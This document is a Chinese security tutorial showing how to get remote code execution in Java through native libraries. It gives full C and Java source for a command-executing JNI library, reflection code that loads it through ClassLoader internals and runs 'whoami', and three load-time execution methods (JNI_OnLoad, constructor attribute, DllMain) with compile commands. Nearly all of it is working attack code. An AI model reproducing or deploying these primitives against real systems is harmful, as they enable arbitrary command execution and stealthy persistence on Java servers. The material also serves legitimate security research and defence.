JNI的基本使用

准备 EvilClass.java

public class EvilClass  {
    public static native String execCmd(String cmd);
}

在当前目录运行

javac EvilClass.java
javah EvilClass

生成 EvilClass.h 文件如下

/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class EvilClass */

#ifndef _Included_EvilClass
#define _Included_EvilClass
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     EvilClass
 * Method:    execCmd
 * Signature: (Ljava/lang/String;)Ljava/lang/String;
 */
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd
  (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

根据EvilClass.h文件编写EvilClass.c文件

EvilClass.c

#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include "EvilClass.h"

int execmd(const char *cmd, char *result)
{
    char buffer[1024*12];              //定义缓冲区
    FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
    if (!pipe)
        return 0; //返回0表示运行失败

    while (!feof(pipe))
    {
        if (fgets(buffer, 128, pipe))
        { //将管道输出到result中
            strcat(result, buffer);
        }
    }
    pclose(pipe); //关闭管道
    return 1;      //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_EvilClass_execCmd(JNIEnv *env, jclass class_object, jstring jstr)
{

    const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
    char result[1024 * 12] = ""; //定义存放结果的字符串数组
    if (1 == execmd(cstr, result))
    {
       // printf(result);
    }

    char return_messge[100] = "";
    strcat(return_messge, result);
    jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
    //system();

    return cmdresult;
}

编译生成对应动态链接库文件(linux下)

gcc -fPIC -I $JAVA_HOME/include  -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c

windows下使用

gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c

sofile

关于对应的头文件可以在jdk的 inlude 目录下参考

image-20240310223332520

后续使用 System.loadLibrary("libname");System.load("/libpath") 加载即可,注意后者要用完整的路径,加载完就可以正常调用对应的native方法了

Java如何加载动态链接库

参考 https://tttang.com/archive/1436/ ,讲的非常细

关于文中提到的在java层模拟加载动态链接库,里面只是到了 load 这步,具体想要调用对应的native方法还需要将libs放入对应的ClassLoader中

//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
......
public class EvilClass  {
    public static native String execCmd(String cmd);

}
......
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
//这里注意要将libs放入对应的ClassLoader中(跟着源码调下就能知道)
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//执行命令
EvilClass.execCmd("whoami");
......
......

加载动态链接库时直接执行恶意代码

如何做到在 System.load()System.loadLibrary() 时直接RCE呢

我大致找到了三种方法

利用 JNI_OnLoad

参考 https://docs.oracle.com/javase/8/docs/technotes/guides/jni/spec/invocation.html#JNJI_OnLoad

JNI_OnLoad函数是一个可选的JNI函数,用于在加载本地库时进行初始化工作。当Java虚拟机加载包含本地方法的库时,会自动调用JNI_OnLoad函数。

我们编写c代码

#include <stdlib.h>
#include <jni.h>

JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {

    system("calc");
    //system("touch success");
    return JNI_VERSION_1_8;
}

直接编译

(windows下)

gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o jniOnload.dll JNI_Onload2start.c

(linux下)

gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o jniOnload.so JNI_Onload2start.c

然后

public class Main {
    static {
        System.loadLibrary("jniOnload");
    }
    public static void main(String[] args) {

    }
}

加载即可执行命令

image-20240310225029620

利用 __attribute__((constructor))

__attribute__((constructor)) 是 GCC 和 Clang 等编译器的扩展语法,用于声明一个函数在程序启动时(在 main 函数之前)自动执行。这种机制的实现是由链接器来完成的,它会在动态链接库加载时自动调用这些被标记为构造函数的函数。在动态链接库加载时,链接器会遍历库中的所有构造函数,并按照它们在链接时的顺序依次调用它们。

编写c代码

#include <stdio.h>
#include <stdlib.h>


void __attribute__((constructor)) myInitFunction() {
    // 在加载动态链接库时执行特定代码
    system("calc");
}

直接编译(没有使用到 jni.h 头文件,所以直接编译就行)

(linux下)

gcc -fPIC -shared -o attribute2start.so attribute2start.c

执行

image-20240310225532817

windows下利用DLLMain

DLLMain是Windows动态链接库的入口点函数,在DLL加载和卸载时会被自动调用。

编写c代码

#include <Windows.h>
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // 在DLL加载时执行特定代码
            system("calc");
            break;
        case DLL_PROCESS_DETACH:
            // 在DLL卸载时执行特定代码
            // ...
            break;
        case DLL_THREAD_ATTACH:
            // 在线程连接到DLL时执行特定代码
            // ...
            break;
        case DLL_THREAD_DETACH:
            // 在线程从DLL断开时执行特定代码
            // ...
            break;
    }
    return TRUE;
}

编译

gcc -fPIC -shared -o DllMain2start.dll DllMain2start.c

执行

image-20240310225945419

参考文章

Java Native Interface Specification Contents

Java安全笔记-JNI 详解

Java加载动态链接库

Java JNI 编程入门

Jni OnLoad()和OnUnload()